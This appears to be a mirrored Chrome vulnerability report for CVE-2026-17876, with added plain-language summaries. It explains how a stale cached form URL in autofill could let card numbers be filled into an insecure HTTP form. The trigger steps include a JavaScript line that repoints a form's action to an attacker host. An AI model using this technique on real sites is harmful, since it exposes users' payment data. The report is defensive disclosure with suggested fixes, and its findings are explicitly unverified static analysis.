Inappropriate implementation in Payments (CVE-2026-17876)
A stale cached form URL in Chrome's autofill can cause credit card data to be filled into an insecure HTTP context when a form's action is dynamically changed to a search path. An attacker could potentially exfiltrate sensitive payment data in cleartext.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 50 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential security policy bypass exists in Chrome's payment autofill mechanism when the kAutofillNewSuggestionGeneration feature is enabled. An attacker can dynamically modify a secure form's action URL to an insecure HTTP search path to bypass mixed-content security checks, causing sensitive credit card data to be filled into insecure contexts. This occurs because the dynamic modification causes an early exit in form parsing, leaving a stale secure URL in the cached FormStructure.
Affected files:
components/autofill/core/browser/suggestions/payments/credit_card_suggestion_generator.ccchrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cccomponents/autofill/core/browser/ui/payments/omnibox_autofill_delegate.cccomponents/autofill/core/browser/foundations/autofill_manager.cccomponents/autofill/core/browser/form_structure.cccomponents/autofill/core/browser/form_qualifiers.cccomponents/autofill/core/browser/autofill_browser_util.cc
Estimated timestamp from git blame: 2026-01-29
Description & Root Cause
A potential security bypass in Chromium's credit card mixed-content autofill protection has been identified when the kAutofillNewSuggestionGeneration feature flag is enabled. Under this feature branch, the legacy fresh-FormData-based secure context check (IsFormMixedContent) is skipped in favor of checks on the cached FormStructure pointer, such as IsFormOrClientNonSecure(client, *form_structure).
However, the cached FormStructure::target_url_ can be frozen at a stale secure (https://) state through a dynamic form action update. Specifically, if a form's action path matches the search regex kUrlSearchActionRe (e.g., /search), ShouldBeParsed returns false inside ParseFormAsync (components/autofill/core/browser/foundations/autofill_manager.cc):
if (!ShouldBeParsed(form, log_manager())) {
LogCurrentFieldTypes(&form);
std::move(callback).Run(*this, form); // Cache is NOT updated
return;
}
Because of this early return, UpdateFormCache() is skipped, and the cached FormStructure::target_url_ retains its original secure HTTPS URL. When suggestion generation occurs, IsFormOrClientNonSecure reads the stale HTTPS scheme and incorrectly permits unmasked credit card suggestions (PAN and CVC) to be filled into the modified insecure HTTP context.
This bypass potentially affects desktop popup suggestions, Android Touch-to-Fill bottom sheets, and the omnibox credit card chip.
Potential Trigger Steps
Note: These are potential steps that require verification via a working proof of concept, as our analysis is purely static and we do not currently have the capability to execute code.
- A secure page (
https://victim.example) serves a payment form containing credit card fields with an initial secure target (action="https://victim.example/checkout"). - The browser parses and caches the form, storing
target_url_ = https://victim.example/checkout. - Legitimate or injected page JavaScript dynamically changes the form action to an insecure search endpoint:
form.action = "http://attacker.example/search". - The user taps/focuses on a credit card field, prompting the renderer to send
AskForValuesToFillwith the freshFormDataaction URL. ShouldBeParsed()matches/searchagainst the search regex, returnsfalse, and triggers an early exit inParseFormAsync, leaving the cachedFormStructurewith its stale securetarget_url_.- The suggestion generation pipeline runs with the stale
FormStructurepointer and determines the context is secure. Credit card suggestions are displayed and populated with unmasked credentials upon user acceptance, sending sensitive payment data in cleartext to the insecure host.
Suggested Fix
To remediate this issue, consider implementing one of the following changes:
- Use Fresh Form Data: Ensure that secure-context and mixed-content validation gates during suggestion generation and filling utilize the fresh
FormData::action()scheme rather than relying entirely on the cachedFormStructure::target_url_. - Invalidate Cache on Parse Discard: If
ShouldBeParsedreturnsfalseon a form that already exists inform_structures_, evict or invalidate the cachedFormStructure(or at least update/clear its cachedtarget_url_) to prevent stale reads.
Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the form parsing early-exits when the action URL matches a search pattern, so the cached form structure is not updated and retains a stale secure URL, which is then used for the mixed-content check.
Impact
This could allow credit card data to be sent in cleartext to an insecure host, but the report notes the analysis is static and requires verification via a working proof of concept.
What the attacker needed
KAutofillNewSuggestionGeneration feature enabled; victim visits a secure page with a payment form; attacker can inject or control JavaScript on the page; user interacts with a credit card field
The fix
The issue should be fixed by using fresh form data for security checks or by invalidating the cached form structure when parsing is skipped.
How it was found
- A secure page serves a payment form with credit card fields and an HTTPS action URL.
- The browser parses and caches the form with the secure target URL.
- JavaScript changes the form action to an insecure HTTP search endpoint.
- The user focuses a credit card field, triggering a fill request with the fresh form data.
- The search action causes ShouldBeParsed to return false, so the cached form structure is not updated.
- The suggestion pipeline uses the stale secure URL and allows unmasked credit card suggestions, which are then sent in cleartext.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you fill in a credit card on a website, Chrome checks if the page is secure (HTTPS) before offering to autofill. This report says that if a website changes where a form sends data after Chrome has already checked it, Chrome might still think the form is secure and fill in your card details, which could then be sent unencrypted. The issue is only theoretical and was found by static analysis, not by actually running an attack.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.